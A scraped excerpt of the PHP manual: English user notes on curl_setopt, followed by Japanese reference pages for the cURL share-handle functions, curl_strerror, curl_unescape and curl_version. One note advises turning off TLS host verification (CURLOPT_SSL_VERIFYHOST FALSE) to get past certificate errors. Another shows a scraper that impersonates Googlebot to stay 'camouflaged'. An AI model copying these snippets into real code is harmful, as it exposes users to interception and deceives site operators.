        $headers = array(
            "POST ".$page." HTTP/1.0",
            "Content-type: text/xml;charset=\"utf-8\"",
            "Accept: text/xml",
            "Cache-Control: no-cache",
            "Pragma: no-cache",
            "SOAPAction: \"run\"",
            "Content-length: ".strlen($xml_data),
            "Authorization: Basic " . base64_encode($credentials)
        );

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_USERAGENT, $defined_vars['HTTP_USER_AGENT']);

        // Apply the XML to our curl call
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $xml_data);

        $data = curl_exec($ch);

        if (curl_errno($ch)) {
            print "Error: " . curl_error($ch);
        } else {
            // Show me the result
            var_dump($data);
            curl_close($ch);
        }

?>
Ojas Ojasvi 25-Sep-2007 10:52
<?php
/*
* Author: Ojas Ojasvi
* Released: September 25, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.php.net';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

Ojas Ojasvi
andrabr at gmail dot com 20-Aug-2007 02:03
This is very clear in hindsight, but it still cost me several hours:

<?php curl_setopt($session, CURLOPT_HTTPPROXYTUNNEL, 1); ?>

means that you will tunnel THROUGH the proxy, as in "your communications will go as if the proxy is NOT THERE".

Why do you care? - Well, if you are trying to use, say, Paros, to debug HTTP between your cURL and the server, with CURLOPT_HTTPPROXYTUNNEL set to TRUE Paros will not see or log your traffic thus defeating the purpose and driving you nuts.

There are other cases, of course, where this option is extremely useful...
mcbreen at gmail dot com 12-Jun-2007 02:35
If you are getting the following error:

SSL: certificate subject name 'example.com' does not match target host name 'example.net'

Then you can set the following option to get around it:

<?php curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); ?>
ashw1 - at - no spam - post - dot - cz 03-Jun-2007 04:51
In case you wonder how come, that cookies don't work under Windows, I've googled for some answers, and here is the result: Under WIN you need to input absolute path of the cookie file.

This piece of code solves it:

<?php

if ($cookies != '')
    {
    if (substr(PHP_OS, 0, 3) == 'WIN')
        {$cookies = str_replace('\\','/', getcwd().'/'.$cookies);}
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
    }

?>
rob at infoglobe dot net 24-Apr-2007 09:01
Options not included in the above, but that work (Taken from the libcurl.a C documentation)

CURLOPT_FTP_SSL

Pass a long using one of the values from below, to make libcurl use your desired level of SSL for the ftp transfer. (Added in 7.11.0)

CURLFTPSSL_NONE

Don't attempt to use SSL.

CURLFTPSSL_TRY

Try using SSL, proceed as normal otherwise.

CURLFTPSSL_CONTROL

Require SSL for the control connection or fail with CURLE_FTP_SSL_FAILED.

CURLFTPSSL_ALL

Require SSL for all communication or fail with CURLE_FTP_SSL_FAILED.
alfredoaguirre dot v at gmail dot com 13-Mar-2007 04:26
Seems that CURLOPT_RETURNTRANSFER Option set to TRUE, returns a "1" when the transaction returns a blank page.

I think is for eliminate the FALSE to can be with a blank page as return
paczor 08-Mar-2007 06:50
How to get rid of response after POST: just add callback function for returned data (CURLOPT_WRITEFUNCTION) and make this function empty.

<?php
function curlHeaderCallback($ch, $strHeader) {
}
curl_setopt($ch, CURLOPT_WRITEFUNCTION, 'curlHeaderCallback');
?>
eion at bigfoot dot com 21-Nov-2006 08:40
If you are trying to use CURLOPT_FOLLOWLOCATION and you get this warning:
Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set...

then you will want to read http://www.php.net/ChangeLog-4.php which says "Disabled CURLOPT_FOLLOWLOCATION in curl when open_basedir or safe_mode are enabled." as of PHP 4.4.4/5.1.5.  This is due to the fact that curl is not part of PHP and doesn't know the values of open_basedir or safe_mode, so you could comprimise your webserver operating in safe_mode by redirecting (using header('Location: ...')) to "file://" urls, which curl would have gladly retrieved.

Until the curl extension is changed in PHP or curl (if it ever will) to deal with "Location:" headers, here is a far from perfect remake of the curl_exec function that I am using.

Since there's no curl_getopt function equivalent, you'll have to tweak the function to make it work for your specific use.  As it is here, it returns the body of the response and not the header.  It also doesn't deal with redirection urls with username and passwords in them.

<?php
    function curl_redir_exec($ch)
    {
        static $curl_loops = 0;
        static $curl_max_loops = 20;
        if ($curl_loops++ >= $curl_max_loops)
        {
            $curl_loops = 0;
            return FALSE;
        }
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $data = curl_exec($ch);
        list($header, $data) = explode("\n\n", $data, 2);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if ($http_code == 301 || $http_code == 302)
        {
            $matches = array();
            preg_match('/Location:(.*?)\n/', $header, $matches);
            $url = @parse_url(trim(array_pop($matches)));
            if (!$url)
            {
                //couldn't process the url to redirect to
                $curl_loops = 0;
                return $data;
            }
            $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
            if (!$url['scheme'])
                $url['scheme'] = $last_url['scheme'];
            if (!$url['host'])
                $url['host'] = $last_url['host'];
            if (!$url['path'])
                $url['path'] = $last_url['path'];
            $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
            curl_setopt($ch, CURLOPT_URL, $new_url);
            debug('Redirecting to', $new_url);
            return curl_redir_exec($ch);
        } else {
            $curl_loops=0;
            return $data;
        }
    }
?>
php at miggy dot org 23-Aug-2006 10:35
Note that if you want to use a proxy and use it as a _cache_, you'll have to do:

<?php curl_setopt($ch, CURLOPT_HTTPHEADER, array("Pragma: ")); ?>

else by default Curl puts a "Pragma: no-cache" header in and thus force cache misses for all requests.
Philippe dot Jausions at 11abacus dot com 30-May-2006 11:31
Clarification on the callback methods:

- CURLOPT_HEADERFUNCTION is for handling header lines received *in the response*,
- CURLOPT_WRITEFUNCTION is for handling data received *from the response*,
- CURLOPT_READFUNCTION is for handling data passed along *in the request*.

The callback "string" can be any callable function, that includes the array(&$obj, 'someMethodName') format.

 -Philippe
mr at coder dot tv 14-Apr-2006 07:22
Sometimes you can't use CURLOPT_COOKIEJAR and CURLOPT_COOKIEFILE becoz of the server php-settings(They say u may grab any files from server using these options). Here is the solution
1)Don't use CURLOPT_FOLLOWLOCATION
2)Use curl_setopt($ch, CURLOPT_HEADER, 1)
3)Grab from the header cookies like this:
preg_match_all('|Set-Cookie: (.*);|U', $content, $results);
$cookies = implode(';', $results[1]);
4)Set them using curl_setopt($ch, CURLOPT_COOKIE,  $cookies);

Good Luck, Yevgen
heyrocker at yahoo dot com 23-Feb-2006 01:57
The examples below for HTTP file upload work great, but I wanted to be able to post multiple files through HTTP upload using HTML arrays as specified in example 38.3 at

http://php.net/features.file-upload

In this case, you need to set the arrays AND keys in the $post_data, it will not work with just the array names. The following example shows how this works:

<?php

    $post_data = array();

    $post_data['pictures[0]'] = "@cat.jpg";
    $post_data['pictures[1]'] = "@dog.jpg";

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://example.com/my_url.php" );
    curl_setopt($ch, CURLOPT_POST, 1 );
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);

    if (curl_errno($ch)) {
       print curl_error($ch);
    }
    curl_close($ch);
    print "$postResult";
?>
petelu $ post dot sk 17-Feb-2006 04:19
load https:// or  http://example.com/exam.php
with  POST  data (name=alex&year=18) and apply COOKIEs

<?php
$sessions = curl_init();
curl_setopt($sessions,CURLOPT_URL,'http://example.com/exam.php');
curl_setopt($sessions, CURLOPT_POST, 1);
curl_setopt($sessions,CURLOPT_POSTFIELDS,'name=alex&year=18');
curl_setopt($sessions,CURLOPT_COOKIEJAR,
dirname(__FILE__).'/cookie.txt');
curl_setopt($sessions,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($sessions, CURLOPT_HEADER , 1);
curl_setopt($sessions, CURLOPT_RETURNTRANSFER,1);
$my_load_page = curl_exec($this->sessions);
?>
luca dot manzo at bbsitalia dot com 02-Feb-2006 03:55
If you're getting trouble with cookie handling in curl:

- curl manages tranparently cookies in a single curl session
- the option
<?php curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookieFileName"); ?>

makes curl to store the cookies in a file at the and of the curl session

- the option
<?php curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookieFileName"); ?>

makes curl to use the given file as source for the cookies to send to the server.

so to handle correctly cookies between different curl session, the you have to do something like this:

<?php
       $ch = curl_init();
       curl_setopt ($ch, CURLOPT_URL, $url);
       curl_setopt ($ch, CURLOPT_COOKIEJAR, COOKIE_FILE_PATH);
       curl_setopt ($ch, CURLOPT_COOKIEFILE, COOKIE_FILE_PATH);

       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
       $result = curl_exec ($ch);
       curl_close($ch);
       return $result;
?>

in particular this is NECESSARY if you are using PEAR_SOAP libraries to build a webservice client over https and the remote server need to establish a session cookie. in fact each soap message is sent using a different curl session!!

I hope this can help someone
Luca
Dustin Hawkins 27-Dec-2005 02:24
To further expand upon use of CURLOPT_CAPATH and CURLOPT_CAINFO...

In my case I wanted to prevent curl from talking to any HTTPS server except my own using a self signed certificate. To do this, you'll need openssl installed and access to the HTTPS Server Certificate (server.crt by default on apache)

You can then use a command simiar to this to translate your apache certificate into one that curl likes.

$ openssl x509 -in server.crt -out outcert.pem -text

Then set CURLOPT_CAINFO equal to the the full path to outcert.pem and turn on CURLOPT_SSL_VERIFYPEER.

If you want to use the CURLOPT_CAPATH option, you should create a directory for all the valid certificates you have created, then use the c_rehash script that is included with openssl to "prepare" the directory.

If you dont use the c_rehash utility, curl will ignore any file in the directory you set.
skyogre __at__ yandex __dot__ ru 22-Dec-2005 02:13
There is really a problem of transmitting $_POST data with curl in php 4+ at least.
I improved the encoding function by Alejandro Moreno to work properly with mulltidimensional arrays.

<?php
function data_encode($data, $keyprefix = "", $keypostfix = "") {
  assert( is_array($data) );
  $vars=null;
  foreach($data as $key=>$value) {
    if(is_array($value)) $vars .= data_encode($value, $keyprefix.$key.$keypostfix.urlencode("["), urlencode("]"));
    else $vars .= $keyprefix.$key.$keypostfix."=".urlencode($value)."&";
  }
  return $vars;
}

curl_setopt($ch, CURLOPT_POSTFIELDS, substr(data_encode($_POST), 0, -1) );

?>
phpnet at wafflehouse dot de 23-Oct-2005 06:34
Resetting CURLOPT_FILE to STDOUT won't work by calling curl_setopt() with the STDOUT constant or a php://output stream handle (at least I get error messages when trying the code from phpnet at andywaite dot com). Instead, one can simply reset it as a side effect of CURLOPT_RETURNTRANSFER. Just say

<?php curl_setopt($this->curl,CURLOPT_RETURNTRANSFER,0); ?>

and following calls to curl_exec() will output to STDOUT again.
ROXORT at TGNOOB dot FR 21-Sep-2005 07:09
<?php
/*
  Here is a script that is usefull to :
  - login to a POST form,
  - store a session cookie,
  - download a file once logged in.
*/

// INIT CURL
$ch = curl_init();

// SET URL FOR THE POST FORM LOGIN
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Login.php');

// ENABLE HTTP POST
curl_setopt ($ch, CURLOPT_POST, 1);

// SET POST PARAMETERS : FORM VALUES FOR EACH FIELD
curl_setopt ($ch, CURLOPT_POSTFIELDS, 'fieldname1=fieldvalue1&fieldname2=fieldvalue2');

// IMITATE CLASSIC BROWSER'S BEHAVIOUR : HANDLE COOKIES
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

# Setting CURLOPT_RETURNTRANSFER variable to 1 will force cURL
# not to print out the results of its query.
# Instead, it will return the results as a string return value
# from curl_exec() instead of the usual true/false.
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

// EXECUTE 1st REQUEST (FORM LOGIN)
$store = curl_exec ($ch);

// SET FILE TO DOWNLOAD
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Downloads/AnnualReport.pdf');

// EXECUTE 2nd REQUEST (FILE DOWNLOAD)
$content = curl_exec ($ch);

// CLOSE CURL
curl_close ($ch);

/*
  At this point you can do do whatever you want
  with the downloaded file stored in $content :
  display it, save it as file, and so on.
*/
?>
phpnet at andywaite dot com 07-Jun-2005 02:08
After setting CURLOPT_FILE, you may want want to revert back to the normal behaviour of displaying the results. This can be achieved using:

<?php
$fp = fopen ("php://output", "w") or die("Unable to open stdout for writing.\n");
curl_setopt($ch, CURLOPT_FILE, $fp);
?>
michaeledwards.com 01-Jun-2005 02:57
Problems can occur if you mix CURLOPT_URL with a 'Host:' header in CURLOPT_HEADERS on redirects because cURL will combine the host you explicitly stated in the 'Host:' header with the host from the Location: header of the redirect response.

In short, don't do this:

<?php
$host = "www.example.com";
$url = "http://$host/";

$headers = array("Host: $host");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

Do this instead:

$host = "www.example.com";
$url = "http://$host/";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
?>
ikendra at yken dot nospam dot org 09-May-2005 09:26
Using cURL, I needed to call a third-party script which was returning binary data as attachment to pass on retrieved data again as attachment.

Problem was that the third-party script occassionally returned HTTP errors and I wanted to avoid passing on zero-length attachment in such case.

Combination of using CURLOPT_FAILONERROR and CURLOPT_HEADERFUNCTION callback helped to process the third-party script HTTP errors neatly:

<?php
function curlHeaderCallback($resURL, $strHeader) {
    if (preg_match('/^HTTP/i', $strHeader)) {
        header($strHeader);
        header('Content-Disposition: attachment; filename="file-name.zip"');
    }
    return strlen($strHeader);
}

$strURL = 'http://www.example.com/script-whichs-dumps-binary-attachment.php';

$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);

curl_exec ($resURL);

$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);

if ($intReturnCode != 200) {
    print 'was error: ' . $intReturnCode;
}
?>
ron at ttvavanti dot nl 07-May-2004 08:00
If you specify a CAINFO, note that the file must be in PEM format! (If not, it won't work).
Using Openssl you can use:
openssl x509 -in <cert> -inform d -outform PEM -out cert.pem
To create a pem formatted certificate from a binary certificate (the one you get if you download the ca somewhere).
Jakub Horky <jakub dot php at horky dot net> 04-Apr-2004 01:20
A bit more documentation (without minimum version numbers):

- CURLOPT_WRITEFUNCTION
- CURLOPT_HEADERFUNCTION
  Pass a function which will be called to write data or headers respectively. The callback function prototype:

long write_callback (resource ch, string data)

The ch argument is CURL session handle. The data argument is data received. Note that its size is variable. When writing data, as much data as possible will be returned in all invokes. When writing headers, exactly one complete header line is returned for better parsing.
The function must return number of bytes actually taken care of. If that amount differs from the amount passed to this function, an error will occur.

- CURLOPT_READFUNCTION
  Pass a function which will be called to read data. The callback function prototype:

string read_callback (resource ch, resource fd, long length)

The ch argument is CURL session handle. The fd argument is file descriptor passed to CURL by CURLOPT_INFILE option. The length argument is maximum length which can be returned.
The function must return string containing the data which were read. If length of the data is more than maximum length, it will be truncated to maximum length. Returning anything else than a string means an EOF.

[Note: there is more callbacks implemented in current cURL library but they aren't unfortunately implemented in php curl interface yet.]
tim dot php at ebw dot ca 18-Nov-2003 06:18
The page http://curl.haxx.se/libcurl/c/curl_easy_setopt.html at the cURL site has a list of all the CURLOPTS, including many not mentioned here. Also see http://curl.haxx.se/libcurl/php/examples/ for cURL examples in PHP.
dweingart at pobox dot com 02-Apr-2003 03:08
If you want to Curl to follow redirects and you would also like Curl to echo back any cookies that are set in the process, use this:

<?php curl_setopt($ch, CURLOPT_COOKIEJAR, '-'); ?>

'-' means stdout

-dw
yann dot corno at free dot fr 13-Nov-2002 04:19
About the CURLOPT_HTTPHEADER option, it took me some time to figure out how to format the so-called 'Array'. It fact, it is a list of strings. If Curl was already defining a header item, yours will replace it. Here is an example to change the Content Type in a POST:

<?php curl_setopt ($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml")); ?>

Yann


cURL 共有ハンドルを閉じる

  • ≪ curl_setopt
  • curl_share_errno ≫
  • PHP Manual
  • cURL 関数
  • cURL 共有ハンドルを閉じる

curl_share_close

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_share_close — cURL 共有ハンドルを閉じる

説明

curl_share_close ( CurlShareHandle $share_handle ) : void

cURL 共有ハンドルを閉じ、すべてのリソースを解放します。

パラメータ

share_handle

curl_share_init() が返す cURL 共有ハンドル

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | share_handle は CurlShareHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_share_setopt() の例

この例は、cURL 共有ハンドルを作って二つの cURL ハンドルを追加し、 それぞれを実行してクッキーのデータを共有します。

<?php
// cURL 共有ハンドルを作り、クッキーのデータを共有させます
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// 最初の cURL ハンドルを作り、共有ハンドルを割り当てます
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// 最初の cURL ハンドルを実行します
curl_exec($ch1);

// 二番目の cURL ハンドルを作り、共有ハンドルを割り当てます
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// 二番目の cURL ハンドルを実行します
//  $ch1 ハンドルのすべてのクッキーを、$ch2 ハンドルと共有します
curl_exec($ch2);

// cURL 共有ハンドルを閉じます
curl_share_close($sh);

// cURL ハンドルを閉じます
curl_close($ch1);
curl_close($ch2);
?>

参考

  • curl_share_init() - curl 共有ハンドルを初期化する

User Contributed Notes

There are no user contributed notes for this page.


直近の共有ハンドルに対するエラー番号を返す

  • ≪ curl_share_close
  • curl_share_init ≫
  • PHP Manual
  • cURL 関数
  • 直近の共有ハンドルに対するエラー番号を返す

curl_share_errno

(PHP 7 >= 7.1.0, PHP 8)

curl_share_errno — 直近の共有ハンドルに対するエラー番号を返す

説明

curl_share_errno ( CurlShareHandle $share_handle ) : int

直近の共有ハンドルに対するエラー番号を含んだ数値を返します。

パラメータ

share_handle

curl_share_init() が返す cURL 共有ハンドル

返り値

直近の共有ハンドルに対するエラー番号を含んだ数値を返します。 失敗した場合に false を返します.

変更履歴

バージョン | 説明
8.0.0 | この関数は、失敗時に false を返さなくなりました。
8.0.0 | share_handle は CurlShareHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

参考

  • curl_errno() - 直近のエラー番号を返す

User Contributed Notes

There are no user contributed notes for this page.


curl 共有ハンドルを初期化する

  • ≪ curl_share_errno
  • curl_share_setopt ≫
  • PHP Manual
  • cURL 関数
  • curl 共有ハンドルを初期化する

curl_share_init

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_share_init — curl 共有ハンドルを初期化する

説明

curl_share_init ( ) : CurlShareHandle

複数の cURL ハンドルで、データを共有できるようにします。

パラメータ

この関数にはパラメータはありません。

返り値

cURL の共有ハンドルを返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は、CurlShareHandle クラスのインスタンスを返すようになりました。 これより前のバージョンでは、resource を返していました。

例

例1 curl_share_init() の例

この例は、cURL 共有ハンドルを作って二つの cURL ハンドルを追加し、 それぞれを実行してクッキーのデータを共有します。

<?php
// cURL 共有ハンドルを作り、クッキーのデータを共有させます
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// 最初の cURL ハンドルを作り、共有ハンドルを割り当てます
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// 最初の cURL ハンドルを実行します
curl_exec($ch1);

// 二番目の cURL ハンドルを作り、共有ハンドルを割り当てます
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// 二番目の cURL ハンドルを実行します
//  $ch1 ハンドルのすべてのクッキーを、$ch2 ハンドルと共有します
curl_exec($ch2);

// cURL 共有ハンドルを閉じます
curl_share_close($sh);

// cURL ハンドルを閉じます
curl_close($ch1);
curl_close($ch2);
?>

参考

  • curl_share_setopt() - cURL 共有ハンドルのオプションを設定する
  • curl_share_close() - cURL 共有ハンドルを閉じる

User Contributed Notes

Robert Chapin 24-Jun-2017 06:15
Cookie handling is DISABLED by default.  The following must be used prior to CURLOPT_SHARE.

curl_setopt($ch1, CURLOPT_COOKIEFILE, "");
curl_setopt($ch2, CURLOPT_COOKIEFILE, "");

Also, do not attempt to use CURLOPT_SHARE with curl_setopt_array because this can cause the options to be set in the wrong order, which will fail.


cURL 共有ハンドルのオプションを設定する

  • ≪ curl_share_init
  • curl_share_strerror ≫
  • PHP Manual
  • cURL 関数
  • cURL 共有ハンドルのオプションを設定する

curl_share_setopt

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_share_setopt — cURL 共有ハンドルのオプションを設定する

説明

curl_share_setopt ( CurlShareHandle $share_handle , int $option , mixed $value ) : bool

指定した cURL 共有ハンドルに、オプションを設定します。

パラメータ

share_handle

curl_share_init() が返す cURL 共有ハンドル

option

オプション | 説明
CURLSHOPT_SHARE | 共有させるデータの種類を指定します。
CURLSHOPT_UNSHARE | 共有させないデータの種類を指定します。

value

値 | 説明
CURL_LOCK_DATA_COOKIE | クッキーのデータを共有する。
CURL_LOCK_DATA_DNS | DNS キャッシュを共有する。cURL マルチハンドルを使うときには、 同じマルチハンドルに追加されたすべてのハンドルがデフォルトで DNS キャッシュを共有することに注意しましょう。
CURL_LOCK_DATA_SSL_SESSION | SSL セッション ID を共有し、同一サーバーへの再接続時の SSL ハンドシェイクの所要時間を削減する。 同じハンドル内では、デフォルトで SSL セッション ID が再利用されることに注意しましょう。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | share_handle は CurlShareHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_share_setopt() の例

この例は、cURL 共有ハンドルを作って二つの cURL ハンドルを追加し、 それぞれを実行してクッキーのデータを共有します。

<?php
// cURL 共有ハンドルを作り、クッキーのデータを共有させます
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// 最初の cURL ハンドルを作り、共有ハンドルを割り当てます
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// 最初の cURL ハンドルを実行します
curl_exec($ch1);

// 二番目の cURL ハンドルを作り、共有ハンドルを割り当てます
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// 二番目の cURL ハンドルを実行します
//  $ch1 ハンドルのすべてのクッキーを、$ch2 ハンドルと共有します
curl_exec($ch2);

// cURL 共有ハンドルを閉じます
curl_share_close($sh);

// cURL ハンドルを閉じます
curl_close($ch1);
curl_close($ch2);
?>

User Contributed Notes

There are no user contributed notes for this page.


与えられたエラーコードを説明する文字列を返す

  • ≪ curl_share_setopt
  • curl_strerror ≫
  • PHP Manual
  • cURL 関数
  • 与えられたエラーコードを説明する文字列を返す

curl_share_strerror

(PHP 7 >= 7.1.0, PHP 8)

curl_share_strerror — 与えられたエラーコードを説明する文字列を返す

説明

curl_share_strerror ( int $error_code ) : string|null

与えられたエラーコードを説明する、テキストのエラーメッセージを返します。

パラメータ

error_code

» cURL エラーコード のうちのひとつ。

返り値

エラーの説明を返します。 不正なエラーコードの場合は、null を返します。

参考

  • curl_share_errno() - 直近の共有ハンドルに対するエラー番号を返す
  • curl_strerror() - エラーコードの説明を返す

User Contributed Notes

There are no user contributed notes for this page.


エラーコードの説明を返す

  • ≪ curl_share_strerror
  • curl_unescape ≫
  • PHP Manual
  • cURL 関数
  • エラーコードの説明を返す

curl_strerror

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_strerror — エラーコードの説明を返す

説明

curl_strerror ( int $error_code ) : string|null

指定したエラーコードに対応するエラーメッセージを返します。

パラメータ

error_code

» cURL エラーコード 定数のいずれか。

返り値

エラーの説明を返します。無効なエラーコードを指定した場合は null を返します。

例

例1 curl_errno() の例

<?php
// URL をスペルミスした状態で curl ハンドルを作ります
$ch = curl_init("htp://example.com/");

// リクエストを送信します
curl_exec($ch);

// エラーをチェックし、エラーメッセージを表示します
if($errno = curl_errno($ch)) {
    $error_message = curl_strerror($errno);
    echo "cURL error ({$errno}):\n {$error_message}";
}

// ハンドルを閉じます
curl_close($ch);
?>

上の例の出力は以下となります。

cURL error (1):
 Unsupported protocol

参考

  • curl_errno() - 直近のエラー番号を返す
  • curl_error() - 現在のセッションに関する直近のエラー文字列を返す
  • » Curl エラーコード

User Contributed Notes

There are no user contributed notes for this page.


URL エンコードされた文字列をデコードする

  • ≪ curl_strerror
  • curl_version ≫
  • PHP Manual
  • cURL 関数
  • URL エンコードされた文字列をデコードする

curl_unescape

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_unescape — URL エンコードされた文字列をデコードする

説明

curl_unescape ( CurlHandle $handle , string $string ) : string|false

この関数は、URL エンコードされた文字列をデコードします。

パラメータ

handle

curl_init() が返す cURL ハンドル。

string

デコード対象の文字列。

返り値

デコードした文字列を返します。失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_escape() の例

<?php
// curl ハンドルを作ります
$ch = curl_init('http://example.com/redirect.php');

// HTTP リクエストを送信し、リダイレクトにしたがいます
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

// 直近の実効 URL を取得します
$effective_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
// "http://example.com/show_location.php?loc=M%C3%BCnchen"

// URL をデコードします
$effective_url_decoded = curl_unescape($ch, $effective_url);
// "http://example.com/show_location.php?loc=Munchen"

// ハンドルを閉じます
curl_close($ch);
?>

注意

注意:

curl_unescape() は、プラス記号 (+) をスペースに変換しません。 urldecode() は、この変換をします。

参考

  • curl_escape() - 指定した文字列を URL エンコードする
  • urlencode() - 文字列を URL エンコードする
  • urldecode() - URL エンコードされた文字列をデコードする
  • rawurlencode() - RFC 3986 に基づき URL エンコードを行う
  • rawurldecode() - URL エンコードされた文字列をデコードする

User Contributed Notes

There are no user contributed notes for this page.


cURL のバージョンを返す

  • ≪ curl_unescape
  • CurlHandle ≫
  • PHP Manual
  • cURL 関数
  • cURL のバージョンを返す

curl_version

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_version — cURL のバージョンを返す

説明

curl_version ( ) : array|false

cURL のバージョンについての情報を返します。

パラメータ

age

返り値

以下の要素からなる連想配列を返します。

キー | 値の説明
version_number | cURL の 24 ビットのバージョン番号
version | cURL バージョン番号を表す文字列
ssl_version_number | OpenSSL の 24 ビットのバージョン番号
ssl_version | OpenSSL バージョン番号を表す文字列
libz_version | zlib バージョンを表す文字列
host | cURL をビルドしたホストについての情報
age |
features | 定数 CURL_VERSION_XXX のビットマスク
protocols | cURL がサポートするプロトコル名の配列

例

例1 curl_version() の例

この例では、cURL でどの機能が使えるのかを調べるために curl_version() の返すビットマスク 'features' を使用します。

<?php
// curl のバージョン配列を取得します
$version = curl_version();

// ビットフィールドを使用して、
// curl の機能を調べます
$bitfields = Array(
            'CURL_VERSION_IPV6',
            'CURL_VERSION_KERBEROS4',
            'CURL_VERSION_SSL',
            'CURL_VERSION_LIBZ'
            );

foreach($bitfields as $feature)
{
    echo $feature . ($version['features'] & constant($feature) ? ' matches' : ' does not match');
    echo PHP_EOL;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


CurlHandle クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 curl リソースを置き換える完全不透明クラスです。

クラス概要

final CurlHandle {
}

User Contributed Notes

There are no user contributed notes for this page.


CurlMultiHandle クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 curl_multi リソースを置き換える完全不透明クラスです。

クラス概要

final CurlMultiHandle {
}

User Contributed Notes

